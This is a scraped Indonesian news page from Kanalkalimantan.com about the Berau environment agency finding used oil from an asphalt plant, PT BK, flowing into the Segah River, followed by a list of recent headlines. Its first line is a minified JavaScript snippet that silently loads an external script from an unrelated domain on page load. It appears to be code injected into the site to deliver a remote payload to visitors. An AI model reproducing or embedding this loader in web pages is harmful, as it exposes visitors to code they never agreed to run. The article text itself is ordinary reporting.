(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Berau

Dugaan Limbah Cemari Sungai, DLHK Berau Periksa Lokasi


KANALKALIMANTAN.COM, TANJUNG REDEB – Diduga limbah cair berbahaya masuk ke aliran sungai, Dinas Lingkungan Hidup dan Kebersihan (DLHK) Kabupaten Berau turun lapangan lakukan pengecekan ke areal PT BK, Senin (29/5/2023) siang.

Pasalnya, PT BK yang berada di jalan Maluang, Kecamatan Gunung Tabur, Kabupaten Berau itu dilaporkan mengalirkan oli bekas yang digunakan untuk pembakaran aspal masuk ke saluran air menuju ke sungai besar.

“Awalnya kita dapat laporan warga yang menyebutkan ada limbah dialirkan ke sungai, dimana setiap hari sungai itu digunakan warga di wilayah ini,” ujar Kepala Bidang (Kabid) Pengendalian Pencemaran Kerusakan Lingkungan Hidup (P2KLH) DLHK Berau, Masmansur.

Baca juga: Geopark Meratus Seluas 3.645 Km Cakup 5 daerah, Ada Pendulangan Intan Cempaka 

Tim dari DLHK Berau langsung bergerak menindak lanjuti keluhan dari warga terkait pencemaran lingkungan akibat limbah B3 berupa oli dari perusahaan yang bergerak di bidang pembuatan aspal itu.

Saat di lapangan, tim DLHK Berau mendapati limbah berada di dalam parit dan mengalir langsung ke aliran Sungai Segah.

“Pengecekan lapangan ternyata memang ada oli berhamburan menuju sungai besar,” ujar Masmansur.

Tentang dugaan pencemaran limbah berupa oli itu DLHK Berau memastikan terjadi pencemaran lingkungan akibat limbah B3 berupa oli sisa dari pembakaran aspal.

“Dan mereka tidak memiliki penampungan limbah B3, sehingga oli tercecer hingga ke lingkungan warga,” kata Masmansur setelah melakukan sidak di lokasi.

Baca juga: Sopir Gagahi Ipar Sendiri di Berau Harus Masuk Bui

“Kami juga tidak akan melakukan uji laboratorium limbah B3, dikarenakan kondisi di lapanggan sudah jelas adanya pencemaran air, maka dari itu, kami meminta warga untuk ikut serta memantau dan melaporkan apabila pabrik aspal PT BK kembali beroperasi,” tegasnya.

Hasil temuan ini, DLHK Berau memberikan waktu selama tiga hari ke perusahaan untuk segera memperbaiki pengelolaan limbah yang ada.

“Kami akan selalu mengikuti perkembangan perbaikan pengelolaan limbah B3 dalam kurun waktu 3 hari kedepan,” tegasnya

Sementara itu, Halim dari PT BK yang ditemui di lapangan dan ditanya terkait perizinan tempat penyimpanan sementara limbah B3 mengakui sampai saat ini belum mengantongi izin.

“Baru ingin mengajukan izin tersebut di hari Sabtu kemarin,” singkatnya. (Kanalkalimantan.com/ads)

Reporter : ads
Editor : kk


Risa

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

21 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

1 hari ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

1 hari ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

2 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

2 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

2 hari ago

This website uses cookies.